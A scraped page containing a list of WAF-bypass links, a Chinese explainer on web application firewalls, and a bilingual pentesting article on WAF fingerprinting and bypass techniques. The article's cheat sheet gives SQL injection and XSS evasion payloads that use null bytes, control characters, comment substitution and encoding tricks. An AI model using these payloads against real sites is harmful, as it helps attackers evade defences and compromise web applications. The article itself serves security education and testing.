    Beyond SQLi: Obfuscate and Bypass :http://www.exploit-db.com/papers/17934/

    从基础到高级的waf绕过方法:http://gnahackteam.wordpress.com/2012/07/06/basic-to-advanced-waf-bypassing-methods/ 

    Bypass WAF:http://www.surfthecyber.com/2013/05/how-to-bypass-waf-web-application.html

    WAF Bypassing: SQL Injection (forbidden or not?):http://www.r00tsec.com/2011/07/sql-injection-bypass-waf.html

    WAF filter evasion:http://sla.ckers.org/forum/read.php?24,33903

    http://em3rgency.com/sql-injection-filter-evasion/

    http://0haxor.blogspot.com/2012/08/waf-waf-bypassing.html

    http://kaoticcreations.blogspot.com/p/sql-injection-waf-bypassing.html

    http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html

    http://websec.files.wordpress.com/2010/11/sqli2.pdf

    http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/

    addtion:"Mysql注入科普"也不错 :http://drops.wooyun.org/tips/123

     

    note:本文所讨论技术仅用于学习和研究,如滥用其中技术后果自负

    转载于:https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html

    展开全文
  • WAF介绍

    万次阅读 多人点赞 2019-06-24 16:55:02
    一、WAF产生的背景: 过去企业通常会采用防火墙,作为安全保障的第一道防线;当时的防火墙只是在第三层(网络层)有效的阻断一些数据包;而随着web应用的功能越来越丰富的时候,Web服务器因为其强大的计算能力,...

    一、WAF产生的背景:

            过去企业通常会采用防火墙,作为安全保障的第一道防线;当时的防火墙只是在第三层(网络层)有效的阻断一些数据包;而随着web应用的功能越来越丰富的时候,Web服务器因为其强大的计算能力,处理性能,蕴含较高的价值,成为主要的被攻击目标(第五层应用层)。而传统防火墙在阻止利用应用程序漏洞进行的攻击方面,却没有办法;在此背景下,waf(Web Application Firewall)应运而生。

          WAF称为web应用防火墙,是通过执行一系列针对HTTP,HTTPS的安全策略,来专门对web应用,提供保护的一款产品。WAF初期是基于规则防护的防护设备;基于规则的防护,可以提供各种web应用的安全规则,waf生产商去维护这个规则库,并实时为其更新,用户按照这些规则,可以对应用进行全方面的保护。

           但随着攻防双方的不断过招,攻击者也摸清了,这一套传统的防御体系,随着使用各种各样的绕过技巧,打破了这套防线,同上这套防护思路,还有一个天生的缺陷,就是难以拦截未知的攻击。因此技术的革新也是必然的。

          在这几年WAF领域出现了很多新的技术,譬如通过数据建模学习企业自身业务,从而阻拦与其业务特征不匹配的请求;或者使用智能语音分析引擎,从语音本质去了解。无论是用已知漏洞攻击利用程序,还是未知攻击,都可以精准的识别。

    二、WAF的作用什么:

           waf是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

    三、WAF的工作原理:

           WAF是Web应用防火墙(Web Application Firewall)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。WAF属于检测型及纠正型防御控制措施。WAF分为硬件WAF、软件WAF(ModSecurity)和代码级WAF。

          WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

          WAF工作在web服务器之前,对基于HTTP协议的通信进行检测和识别。通俗的说,WAF类似于地铁站的安检,对于HTTP请求进行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进行判断,判断的结果作为是否拦截的依据从而决定是否放行

          WAF 可以用来屏蔽常见的网站漏洞攻击,如SQL注入,XML注入、XSS等。一般针对的是应用层而非网络层的入侵,从技术角度应该称之为Web IPS。其防护重点是SQL注入。

          Web防火墙产品部署在Web服务器的前面,串行接入,不仅在硬件性能上要求高,而且不能影响Web服务,所以HA功能、Bypass功能都是必须的,而且还要与负载均衡、Web Cache等Web服务器前的常见的产品协调部署。

           Web应用防火墙的主要技术是对入侵的检测能力,尤其是对Web服务入侵的检测,Web防火墙最大的挑战是识别率,这并不是一个容易测量的指标,因为漏网进去的入侵者,并非都大肆张扬,比如给网页挂马,你很难察觉进来的是那一个,不知道当然也无法统计。对于已知的攻击方式,可以谈识别率;对未知的攻击方式,你也只好等他自己“跳”出来才知道。

           现在市场上大多数的产品是基于规则的WAF。其原理是每一个会话都要经过一系列的测试,每一项测试都由一个过多个检测规则组成,如果测试没通过,请求就会被认为非法并拒绝。

           基于规则的WAF测试很容易构建并且能有效的防范已知安全问题。当我们要制定自定义防御策略时使用它会更加便捷。但是因为它们必须要首先确认每一个威胁的特点,所以要由一个强大的规则数据库支持。WAF生产商维护这个数据库,并且他们要提供自动更新的工具。

           这个方法不能有效保护自己开发的WEB应用或者零日漏洞(攻击者使用的没有公开的漏洞),这些威胁使用基于异常的WAF更加有效。

           异常保护的基本观念是建立一个保护层,这个保护层能够根据检测合法应用数据建立统计模型,以此模型为依据判别实际通信数据是否是攻击。理论上,一但构建成功,这个基于异常的系统应该能够探测出任何的异常情况。拥有了它,我们不再需要规则数据库而且零日攻击也不再成问题了。但基于异常保护的系统很难构建,所以并不常见。因为用户不了解它的工作原理也不相信它,所以它也就不如基于规则的WAF应用广范。

          Imperva公司的WAF产品在提供入侵防护的同时,还提供了另外一个安全防护技术,就是对Web应用网页的自动学习功能,由于不同的网站不可能一样,所以网站自身页面的特性没有办法提前定义,所以imperva采用设备自动预学习方式,从而总结出本网站的页面的特点。具体的做法是这样的:

          通过一段时间的用户访问,WAF记录了常用网页的访问模式,如一个网页中有几个输入点,输入的是什么类型的内容,通常情况的长度是多少…学习完毕后,定义出一个网页的正常使用模式,当今后有用户突破了这个模式,如一般的帐号输入不应该有特殊字符,而XML注入时需要有“<”之类的语言标记,WAF就会根据你预先定义的方式预警或阻断;再如密码长度一般不超过20位,在SQL注入时加入代码会很长,同样突破了网页访问的模式。

          网页自学习技术,从Web服务自身的业务特定角度入手,不符合我的常规就是异常的,也是入侵检测技术的一种,比起单纯的Web应用防火墙来,不仅给入侵者“下通缉令”,而且建立进入自家的内部“规矩”,这一种双向的控制,显然比单向的要好。

    四、WAF有哪些应用功能:

    1、审计设备:

    对于系统自身安全相关的下列事件产生审计记录:

    (1)管理员登陆后进行的操作行为;

    (2) 对安全策略进行添加、修改、删除等操作行为;

    (3) 对管理角色进行增加、删除和属性修改等操作行为;

    (4) 对其他安全功能配置参数的设置或更新等行为。

    2、访问控制设备:

        用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式。

    3、架构/网络设计工具:

    当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。

    4、Web应用加固工具:

         这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且 能够保护WEB应用编程错误导致的安全隐患。

        需要指出的是,并非每种被称为Web应用防火墙的设备都同时具有以上四种功能。

        同时WEB应用防火墙还具有多面性的特点。比如从网络入侵检测的角度来看可以把WAF看成运行在HTTP层上的IDS设备;从防火墙角度来看,WAF是一种防火墙的功能模块;还有人把WAF看作“深度检测防火墙”的增强。(深度检测防火墙通常工作在的网络的第三层以及更高的层次,而Web应用防火墙则在第七层处理HTTP服务并且更好地支持它。)

    五、WAF工作的特点:

    1、异常检测协议:

    Web应用防火墙会对HTTP的请求进行异常检测,拒绝不符合HTTP标准的请求。并且,它也可以只允许HTTP协议的部分选项通过,从而减少攻击的影响范围。甚至,一些Web应用防火墙还可以严格限定HTTP协议中那些过于松散或未被完全制定的选项。

    2、输入增强的验证:

           增强输入验证,可以有效防止网页篡改、信息泄露、木马植入等恶意网络入侵行为。从而减小Web服务器被攻击的可能性。

    3、及时补丁:

         修补Web安全漏洞,是Web应用开发者最头痛的问题,没人会知道下一秒有什么样的漏洞出现,会为Web应用带来什么样的危害。WAF可以为我们做这项工作了——只要有全面的漏洞信息WAF能在不到一个小时的时间内屏蔽掉这个漏洞。当然,这种屏蔽掉漏洞的方式不是非常完美的,并且没有安装对应的补丁本身就是一种安全威胁,但我们在没有选择的情况下,任何保护措施都比没有保护措施更好。

    (附注:及时补丁的原理可以更好的适用于基于XML的应用中,因为这些应用的通信协议都具规范性。

    4、基于规则的保护和基于异常的保护:

         基于规则的保护可以提供各种Web应用的安全规则,WAF生产商会维护这个规则库,并时时为其更新。用户可以按照这些规则对应用进行全方面检测。还有的产品可以基于合法应用数据建立模型,并以此为依据判断应用数据的异常。但这需要对用户企业的应用具有十分透彻的了解才可能做到,可现实中这是十分困难的一件事情。

    5、状态管理:

          WAF能够判断用户是否是第一次访问并且将请求重定向到默认登录页面并且记录事件。通过检测用户的整个操作行为我们可以更容易识别攻击。状态管理模式还能检测出异常事件(比如登陆失败),并且在达到极限值时进行处理。这对暴力攻击的识别和响应是十分有利的。

    6、其他防护技术:

          WAF还有一些安全增强的功能,可以用来解决WEB程序员过分信任输入数据带来的问题。比如:隐藏表单域保护、抗入侵规避技术、响应监视和信息泄露保护。

    六、WAF的局限性:

          WAF功能有天然缺陷,他只对request和response感兴趣,却不重视Web应用本身。另外,WAF对注入类漏洞比如多阶注入是没什么办法的。

    展开全文
  • 主流waf非主流waf Today we’re going to talk about one of the modern security mechanism for web applications, namely Web Application Firewall (WAF). We’ll discuss modern WAFs and what they are based ...

    主流waf非主流waf

    Today we’re going to talk about one of the modern security mechanism for web applications, namely Web Application Firewall (WAF). We’ll discuss modern WAFs and what they are based on, as well as bypass techniques, how to use them, and why you should never entirely rely on WAF. We’re speaking from the pentesters’ perspective; we’ve never developed WAFs and only collected data from open sources. Thus, we can only refer to our own experience and may be unaware of some peculiarities of WAFs. 今天,我们将讨论Web应用程序的一种现代安全机制,即Web应用程序防火墙(WAF)。 我们将讨论现代WAF,它们基于什么以及旁路技术,如何使用它们,以及为什么您永远不应该完全依赖WAF。 我们是从渗透者的角度说的; 我们从未开发过WAF,而仅从开源收集数据。 因此,我们只能参考自己的经验,并且可能不知道WAF的某些特殊性。


    Disclaimer: this is a translation of the article from Russian into English, the article was released at the end of 2017, respectively, some information could become outdated.免责声明:这是一篇文章从俄语翻译成英语的文章,该文章分别于2017年底发布,某些信息可能会过时。

    内容 (Contents)

    1. Introduction

      介绍
    2. The modern WAF

      现代WAF
    3. Identifying WAF

      识别WAF
    4. WAF bypass cheatsheet

      WAF旁路备忘单
    5. WAF bypass in practice

      在实践中绕过WAF
    6. Conclusion

      结论
    If you know why WAFs are used and how they work, you can jump straight to the bypass section.如果您知道为什么使用WAF以及它们如何工作,则可以直接跳至旁路部分。

    介绍 (Introduction)

    WAFs have become quite popular recently. Vendors offer various solutions in different price ranges, distribution kits, and options, targeting different customers, from small businesses to large enterprises. WAFs are popular because they’re a complex solution for protecting web applications, that covers a whole spectrum of tasks. That’s why web app developers can rely on WAF in some security aspects. Although, WAFs cannot grant total security.

    WAF最近变得非常流行。 供应商针对不同的客户(从小型企业到大型企业)提供不同价格范围,分发工具包和选项的各种解决方案。 WAF之所以受欢迎,是因为它们是保护Web应用程序的复杂解决方案,涵盖了所有任务。 这就是为什么Web应用程序开发人员可以在某些安全方面依赖WAF的原因。 虽然,WAF无法授予完全安全性。

    So, what should a WAF be capable of to justify its implementation in a project? Its main function is detecting and blocking any request that, according to the WAF’s analysis, has any anomalies or an attack vector. The analysis must not hinder the interaction between legitimate users and the web app while at the same time, must accurately and timely detect any attack attempts. In order to implement such functionality, WAF developers use regular expressions, tokenizers, behavior analysis, reputational analysis, and of course machine learning. Often, all these technologies are used together. WAF may also implements other functions: DDoS protection, ban of attacker’s IPs, monitoring of suspicious IPs, adding security headers (X-XSS-Protection, X-Frame-Options, etc.), adding http-only flags to cookie, implementation of the HSTS mechanism and CSRF tokens. Also, some WAFs have JavaScript client side modules for websites.

    那么,WAF应该有什么能力证明其在项目中的实施合理性? 根据WAF的分析,其主要功能是检测和阻止任何有异常或攻击媒介的请求。 该分析不得阻碍合法用户与Web应用程序之间的交互,同时必须准确,及时地检测到任何攻击尝试。 为了实现这种功能,WAF开发人员使用正则表达式,令牌化程序,行为分析,声誉分析以及机器学习。 通常,所有这些技术都一起使用。 WAF还可以实现其他功能:DDoS保护,禁止攻击者的IP,监视可疑IP,添加安全标头(X-XSS-Protection,X-Frame-Options等),在cookie中添加仅http标志,实现HSTS机制和CSRF令牌。 另外,某些WAF具有用于网站JavaScript客户端模块。

    Of course, WAFs create some obstacles for hackers and pentesters. WAF makes vulnerability finding and exploiting more resource-intensive (except if the attacker knows effective 0day bypass methods for a specific WAF). Automatic scanners are practically useless when analyzing WAF-protected web apps. WAF is reliable protection against “scriptkiddies”. Though, an experienced hacker or a researcher without enough motivation probably wouldn’t want to waste time trying to find ways to bypass it. It should be noted that the more complex web app is the bigger its attack surface, and the easier it is to find a bypass method.

    当然,WAF为黑客和渗透者创造了一些障碍。 WAF使发现漏洞和利用漏洞的资源更加密集(除非攻击者知道特定WAF的有效0day绕过方法)。 在分析受WAF保护的Web应用程序时,自动扫描程序几乎没有用。 WAF是针对“脚本”的可靠保护。 但是,经验丰富的黑客或研究人员如果没有足够的动力,可能不想浪费时间尝试绕过它。 应当注意,越复杂的Web应用程序的受攻击面越大,并且越容易找到旁路方法。

    In our recent audits, we would quite often find different WAFs. We’ll talk about some of them later. We’ve already tested two proprietary WAFs in two main scenarios:

    在我们最近的审核中,我们经常会找到不同的WAF。 稍后我们将讨论其中一些。 我们已经在两个主要场景中测试了两个专有的WAF:

    • We know there’s a certain vulnerability in a web app and we try to bypass the WAF to exploit it;

      我们知道网络应用程序中存在一定的漏洞,因此我们尝试绕过WAF加以利用。
    • We don’t know about any vulnerabilities, so we have to find one despite the WAF and then exploit it bypassing WAF.

      我们不知道任何漏洞,因此尽管有WAF,我们仍然必须找到一个漏洞,然后绕过WAF加以利用。

    But first, let’s take a closer look at the basic mechanisms behind WAF and see what problems they have.

    但是首先,让我们仔细研究一下WAF背后的基本机制,看看它们有什么问题。

    现代WAF (The modern WAF)

    To be able to effectively find various ways to bypass WAF, first, we need to find out modern mechanisms of request classification. Each WAF is specific and uniquely built, but there are some general methods of analysis. Let’s take a look at those.

    为了能够有效地找到各种绕过WAF的方法,首先,我们需要找出现代的请求分类机制。 每个WAF都是特定且唯一的,但是有一些常规的分析方法。 让我们来看看那些。

    基于正则表达式的规则 (Rules based on regular expressions)

    The majority of the existing WAFs use rules based on regular expressions. The developer researches a certain set of known attacks to identify key syntactic structures which could point at an attack. Based on this data, the developer creates regular expressions that find such syntactic structures. It sounds simple, but this method has certain drawbacks. First, a regular expression can be applied to just a single request, or even a single request parameter, which obviously reduces the efficiency of such rules and leaves some blind spots. Second, the syntax of regular expressions and the complex logic of text protocols, which allows replacement to equivalent structures and using different symbol representation, lead to errors while creating these rules.

    现有的大多数WAF使用基于正则表达式的规则。 开发人员研究一组特定的已知攻击,以识别可能指向攻击的关键句法结构。 基于此数据,开发人员将创建查找此类语法结构的正则表达式。 听起来很简单,但是这种方法有一些缺点。 首先,可将正则表达式仅应用于单个请求,甚至单个请求参数,这显然会降低此类规则的效率,并留下一些盲点。 其次,正则表达式的语法和文本协议的复杂逻辑(允许替换为等效结构并使用不同的符号表示形式)在创建这些规则时会导致错误。

    成绩建立 (Scorebuilding )

    Those who know how network firewalls and anti-viruses work should be familiar with this mechanism. It doesn’t detect attacks but complements other mechanisms making them more precise and flexible. The thing is that a “suspicious” structure in a request is not a sufficient condition for detecting an attack and may lead to many false-positives. This problem is solved by implementing a grading system. Each rule based on regular expressions is complemented by the information on its criticality; after all triggered rules are identified, their criticality is summarized. If the total criticality reaches the threshold value, the attack is detected and the request is blocked. Notwithstanding its simplicity, this mechanism proved to be efficient and is widely used for such tasks.

    那些了解网络防火墙和防病毒功能的人应该熟悉这种机制。 它不检测攻击,而是补充其他机制,使攻击更加精确和灵活。 事实是,请求中的“可疑”结构不足以检测攻击,可能会导致许多假阳性。 通过实施分级系统可以解决此问题。 每条基于正则表达式的规则都由其重要性信息提供补充; 在确定所有触发规则之后,总结其重要性。 如果总关键程度达到阈值,则检测到攻击并阻止请求。 尽管简单,但该机制仍然有效,并已广泛用于此类任务。

    分词器 (Tokenizers)

    This detection method was presented at Black Hat 2012 as a C/C+ library libinjection, that allows to identify SQL injections quickly and with precision. At this moment, there are many libinjection ports for different programming languages, like PHP, Lua, Python, etc. This mechanism searches for signatures presented as a set of tokens. A certain number of signatures is blacklisted, and they are deemed unwanted and malicious. In other words, before some request is analyzed, it is translated into a set of tokens. Tokens are divided into certain types, like variable, string, regular operator, unknown, number, comment, union-like operator, function, comma, etc. One of the main disadvantages of the method is that it’s possible to build a structure that would lead to the incorrect formation of tokens, hence the request signature will differ from the expected. These structures are usually referred to as token breakers, and we’ll discuss them later

    这种检测方法在Black Hat 2012上作为C / C +库libinjection提出 ,它可以快速,准确地识别SQL注入。 目前,有许多针对不同编程语言的libinjection端口,例如PHP,Lua,Python等。此机制搜索以一组令牌表示的签名。 一定数量的签名被列入黑名单,它们被认为是有害的和恶意的。 换句话说,在分析某个请求之前,它会被转换为一组令牌。 令牌分为某些类型,例如变量,字符串,常规运算符,未知数,数字,注释,类联合运算符,函数,逗号等。该方法的主要缺点之一是可能会构建一个导致令牌的格式不正确,因此请求签名将与预期的有所不同。 这些结构通常称为令牌破坏者,我们将在后面讨论

    行为分析 (Behavior analysis)

    Detecting and blocking exploitation attempts in requests is not the only task for WAFs. It’s also important to identify the process of vulnerability search and the WAF must react accordingly. It may manifest itself as scanning attempts, directory brute-force, parameters fuzzing, and other automatic methods. Advanced WAFs can build request chains typical for normal usual behavior and block attempts to send unusual requests. This method not so much detecting attacks, as it hinders the process of vulnerability search. Limiting the number of requests per minute wouldn’t affect a usual user but would be a serious obstacle for scanners, which work in multiple threads.

    检测和阻止请求中的利用尝试不是WAF的唯一任务。 确定漏洞搜索的过程也很重要,并且WAF必须做出相应的React。 它可能表现为扫描尝试,目录暴力,参数模糊处理以及其他自动方法。 先进的WAF可以构建通常正常行为的典型请求链,并阻止尝试发送异常请求。 这种方法并没有太多地检测攻击,因为它阻碍了漏洞搜索的过程。 限制每分钟的请求数量不会影响普通用户,但对于在多个线程中工作的扫描仪来说,这将是一个严重的障碍。

    信誉分析 (Reputation analysis)

    This is yet another mechanism directly inherited from firewalls and anti-viruses. Today, almost any WAF includes lists of the addresses of VPNs, anonymizers, Tor nodes, and botnets to block requests from those. Advanced WAFs can automatically update their bases and complement them with additional entries based on the analyzed traffic.

    这是直接从防火墙和防病毒继承的另一种机制。 如今,几乎所有WAF都包含VPN,匿名器,Tor节点和僵尸网络的地址列表,以阻止来自这些地址的请求。 高级WAF可以根据分析的流量自动更新其基准并以其他条目补充它们。

    机器学习 (Machine learning)

    This is one of the most questionable aspects of WAF. Let’s note that the term “machine learning” is quite broad and includes many technologies and methods. Besides, it’s just one of the classes of the AI. “Implementation” of machine learning, or “use of AI” are very popular marketing phrases. It’s not always clear which algorithms are used exactly, and sometimes it looks like mere gibberish. Those vendors who really use machine learning and do it effectively are not willing to share their experience. That makes it hard for an outsider to try to figure out the situation. Nevertheless, let’s try to make some points based on available information.

    这是WAF最可疑的方面之一。 让我们注意一下,术语“机器学习”非常广泛,包括许多技术和方法。 此外,它只是AI的一类。 机器学习的“实施”或“人工智能的使用”是非常流行的营销短语。 并不总是确切地使用哪些算法,有时看起来就像是胡言乱语。 那些真正使用机器学习并有效地进行机器学习的供应商不愿意分享他们的经验。 这使局外人很难弄清情况。 不过,让我们尝试根据可用信息提出一些意见。

    First, machine learning is fully dependent on the data it was trained on, which poses a certain problem. A developer should have an up-to-date and full base of attacks, which is hard to achieve. That’s why many developers thoroughly log the results of their WAFs and cooperate with the vendors providing IDS and SIEM systems to get real-world attack examples. Second, a model trained on an abstract web app may turn out to be altogether ineffective on a real web app. For better quality, it is recommended to additionally train a model at the stage of implementation, which is resource intensive and time consuming and still doesn’t grant the best results.

    首先,机器学习完全依赖于其训练的数据,这带来了一定的问题。 开发人员应该拥有最新的完整攻击基础,这很难实现。 这就是为什么许多开发人员彻底记录其WAF的结果并与提供IDS和SIEM系统的供应商合作以获取实际攻击示例的原因。 其次,在抽象的Web应用程序上训练的模型在实际的Web应用程序上可能完全无效。 为了获得更好的质量,建议在实施阶段额外训练模型,这是资源密集型和耗时的,但仍无法获得最佳结果。

    识别WAF (Identifying WAF)

    WAF developers use different ways to notify the user that request was blocked. Thus, we can identify the WAF by analyzing the response to our attack request. This is usually referred to as WAF Fingerprint. Fingerprints can help if a WAF is not updated for some reason (mostly applies to open source projects). The developers of proprietary WAFs care for their clients and implement automatic updates. Also, once we have identified the WAF, which turned out to be updated, we still can use the information about it to learn something about its logic.

    WAF开发人员使用不同的方式来通知用户该请求已被阻止。 因此,我们可以通过分析对攻击请求的响应来识别WAF。 这通常称为WAF指纹。 如果WAF由于某些原因未更新(大多数情况下适用于开源项目),则指纹可以提供帮助。 专有WAF的开发人员照顾他们的客户并实施自动更新。 同样,一旦我们确定WAF已被更新,我们仍然可以使用有关它的信息来了解其逻辑。

    Here’s a list of possible WAF fingerprints:

    以下是可能的WAF指纹列表:

    • Additional cookies

      其他Cookie
    • Additional headers to any response or request

      任何响应或请求的附加头
    • Response contents (in case of blocked request)

      响应内容(如果请求被阻止)
    • Response code (in case of blocked request)

      响应码(如果请求被阻止)
    • IP address (Cloud WAF)

      IP地址(Cloud WAF)
    • JS client side module (Client side WAF)

      JS客户端模块(客户端WAF)

    Let’s illustrate it with some examples

    让我们用一些例子来说明

    自动对焦 (PT AF)

    Response code for blocked request: 403

    阻止请求的响应代码:403

    Can insert the client module waf.js into response page

    可以将客户端模块waf.js插入响应页面

    Body of the response:

    回复正文:

    <h1>Forbidden</h1>
    <pre>Request ID: 2017-07-31-13-59-56-72BCA33A11EC3784</pre>

    An extra header that adding by waf.js:

    由waf.js添加的额外标头:

    X-RequestId: cbb8ff9a-4e91-48b4-8ce6-1beddc197a30

    Nemesida WAF (Nemesida WAF)

    Response code for blocked request: 403

    阻止请求的响应代码:403

    Body of the response:

    回复正文:

    <p style="font-size: 16px; align: center;">
    Suspicious activity detected. Access to the site is blocked.
    If you think that is's an erroneous blocking, please email us at
    <a href="mailto:nwaf@pentestit.ru">nwaf@pentestit.ru</a> and
    specify your IP-address. </p>

    Wallarm (Wallarm)

    Response code for blocked request: 403

    阻止请求的响应代码:403

    Additional header: nginx-wallarm

    附加头:nginx-wallarm

    Citrix NetScaler App防火墙 (Citrix NetScaler AppFirewall)

    Additional cookie:

    其他Cookie:

    ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000;
    ns_af_.target.br_%2F_wat=QVNQU0VTU0lP
    TklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA

    Mod_Security版本 2.9 (Mod_Security ver. 2.9)

    Response code for blocked request: 403

    阻止请求的响应代码:403

    Response body:

    响应主体:

    <head>
    <title>403 Forbidden</title>
    </head><body>
    <h1>Forbidden</h1>
    <p>You don't have permission to access /form.php on this server.<br /></p>

    Mod_Security版本 <2.9 (Mod_Security ver. <2.9)

    Response code for blocked request: 406 or 501

    阻止请求的响应代码:406或501

    In the response body, you can find mod_security, Mod_Security, or NOYB

    在响应正文中,您可以找到mod_security,Mod_Security或NOYB

    清漆防火墙 (Varnish FireWall)

    Adds the following headers to the response:

    将以下标头添加到响应中:

    X-Varnish: 127936309 131303037.
    X-Varnish: 435491096
    Via: 1.1 varnish-v4

    WAF developers decide themselves which response code to return in case of a blocked request; there are some specific codes as well. For example, Web_Knight WAF returns code 999, and dotDefender returns code 200 with an empty response body or with an error message. Besides that, developers may make a custom response page with some other content.

    WAF开发人员自行决定在请求被阻止的情况下返回哪个响应代码。 还有一些特定的代码。 例如,Web_Knight WAF返回代码999,而dotDefender返回带有空响应正文或错误消息的代码200。 除此之外,开发人员还可以制作一个包含其他内容的自定义响应页面。

    WAF, like any other app, evolves and changes. That’s why it’s important to constantly check the relevance of the fingerprints you have.

    与其他任何应用程序一样,WAF也在不断发展和变化。 这就是为什么不断检查所拥有指纹的相关性很重要的原因。

    WAF旁路备忘单 (WAF bypass cheat sheet )

    The general idea behind finding ways to bypass WAF is to transform the request we need so that it’s still valid for the web app but not for the WAF or seems to be harmless. It’s important for one type of WAF to be able to serve many different types of servers, including the “exotic” ones, like Unicorn, Tornado, Weblogic, Lighttpd, etc. Each server may perceive exclusive cases of HTTP request parsing in a different way, which also should be considered by WAF. Thus, an attacker can use the servers’ specifics of HTTP request parsing to find a way to bypass the WAF.

    找到绕过WAF的方法的总体思路是转换我们需要的请求,以使它对于Web应用程序仍然有效,但对WAF无效,或者看起来无害。 一种类型的WAF必须能够服务于许多不同类型的服务器,包括Unicorn,Tornado,Weblogic,Lighttpd等“异类”服务器,这一点很重要。每台服务器可能会以不同的方式感知HTTP请求解析的例外情况,WAF也应考虑。 因此,攻击者可以使用服务器的HTTP请求解析的详细信息来找到绕过WAF的方法。

    It’s hard to classify all possible ways to bypass WAF either by WAF security mechanisms or by the field of use. The same bypass ways may interact and simultaneously affect different components of a WAF. The techniques described below were collected from open sources or discovered during our own research and proved to be among the most effective.

    很难通过WAF安全机制或使用领域对所有可能的绕过WAF的方式进行分类。 相同的旁路方式可能相互作用并同时影响WAF的不同组件。 下面描述的技术是从开源收集的,或者是在我们自己的研究中发现的,被证明是最有效的技术。

    添加特殊符号 (Adding special symbols)

    Various special symbols can violate the analyzing logic of a WAF and at the same time be valid interpreted by the server. Variations of these symbols may be different: they may be transformed into urlencode (although most WAFs can deal with that) or other encodings. It’s also possible to insert special symbols into a request without any encoding, in raw format, which may come as a surprise for a WAF. For example,

    各种特殊符号可能违反WAF的分析逻辑,并且同时可以由服务器有效解释。 这些符号的变体可能不同:它们可以转换为urlencode(尽管大多数WAF都可以处理)或其他编码。 还可以将原始格式的特殊符号插入到请求中,而无需任何编码,这可能会使WAF感到惊讶。 例如,

    \ r \ n \ r \ n (\r\n\r\n)

    in this presentation may be perceived as the ending of an HTTP request body, and null byte can violate the analyzing logic of regular expressions and data parsers altogether. Also, other special symbols from the first twenty symbols of the ASCII table may be of use.

    在此演示文稿中,“字节”可能被视为HTTP请求主体的结尾,而空字节可能会完全违反正则表达式和数据解析器的分析逻辑。 同样,可以使用ASCII表的前二十个符号中的其他特殊符号。

    Examples:

    例子:

    • 0x00 — Null byte;

      0x00 —空字节;
    • 0x0D — Carriage return;

      0x0D —回车;
    • 0x0A — Line feed;

      0x0A —换行;
    • 0x0B — Vertical Tab;

      0x0B —垂直制表符;
    • 0x09 — Horizontal tab;

      0x09 —水平制表符;
    • 0x0C — New page

      0x0C —新页面

    While searching for a bypass, it’s useful to insert special symbols in different places in the request body and not only into parameter values. For example, if a request is in JSON format, we can insert NULL-byte both into a parameter and between parameters, both at the beginning and the end of JSON. The same applies to other formats of the body of a POST request. In general, we recommend to do research and have fun, to look for places which can be monitored and parsed by WAF, and try using different special symbols there.

    在搜索旁路时,将特殊符号插入请求正文中的不同位置非常有用,而不仅是在参数值中插入。 例如,如果请求采用JSON格式,则可以在JSON的开头和结尾将NULL字节插入参数中和参数之间。 POST请求正文的其他格式也是如此。 通常,我们建议您进行研究并从中获得乐趣,寻找可以被WAF监视和解析的地方,并尝试在其中使用其他特殊符号。

    For example:

    例如:

    {"id":1337,"string0x00":"test' or sleep(9)#"}
    {"id":1337,"string":"test'/*0x00*/ or sleep(9)#"}
    {"id":1337,"string"0x0A0x0D:"test' or sleep(9)#"}
    <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
    <a 0x00 href="javascript:alert(1)">clickme</a>
    <svg/0x00/onload="alert(1)">
    id=1337/*0x0C*/1 UNION SELECT version(), user() --
    For clarity, we’ve replaced special symbols with their hex presentation. 为了清楚起见,我们已将特殊符号替换为其十六进制表示形式。

    替换空格符号 (Replacing space symbols)

    In most syntaxes, key words and operators have to be separated, but the preferable space symbols are not specified. Thus, instead of the common

    在大多数语法中,关键字和运算符必须分开,但是没有指定首选的空格符号。 因此,代替普通

    0x20 (0x20)

    (Space), you can use

    (空格),您可以使用

    0x0B (0x0B)

    (Vertical Tab) or

    (“垂直”标签)或

    0x09 (0x09)

    (Horizontal tab). Replacing spaces with dividing structures without their own meaning falls into the same category. In SQL, it is

    (水平选项卡)。 用没有自身含义的分隔结构替换空间属于同一类别。 在SQL中,它是

    / ** / (/**/)

    (multi-line SQL comments),

    (多行SQL注释),

    #\ r \ n (#\r\n)

    (one-line SQL comment, ending with line feed),

    (单行SQL注释,以换行结尾),

    -\ r \ n (--\r\n)

    (alternative one-line SQL comment, ending with line feed). Here are some examples:

    (另一行SQL注释,以换行结尾)。 这里有些例子:

    http://test.com/test?id=1%09union/**/select/**/1,2,3
    http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

    Also, we can transform an expression to get rid of spaces using the syntax of the language. For example, in SQL, we can use parenthesis:

    同样,我们可以使用语言的语法来转换表达式以消除空格。 例如,在SQL中,我们可以使用括号:

    UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))

    And in JS, use

    然后在JS中使用

    / (/)

    :

    <svg/onload=confirm(1)>

    更改编码 (Changing encoding)

    This method is based on using different encodings to keep WAF from decoding data in certain places. For example, if a symbol is replaced with its URL-code, WAF won’t be able to understand that it has to decode data and will pass the request. At the same time, the same parameter will be accepted and successfully decoded by the web application.

    此方法基于使用不同的编码来防止WAF在某些位置解码数据。 例如,如果将符号替换为其URL代码,则WAF将无法理解其必须解码数据并将通过请求。 同时,相同的参数将被Web应用程序接受并成功解码。

    The decimal form of an HTML symbol is

    HTML符号的十进制形式是

    &#106 (&#106)

    or

    要么

    &#0000106 (&#0000106)

    .WAF may know about the short version and not know about the version with additional zeros (there should be no more than 7 symbols in total). In the same way, the hex form of an HTML symbol is

    .WAF可能知道短版本,而不知道带有附加零的版本(总共不应超过7个符号)。 同样,HTML符号的十六进制形式为

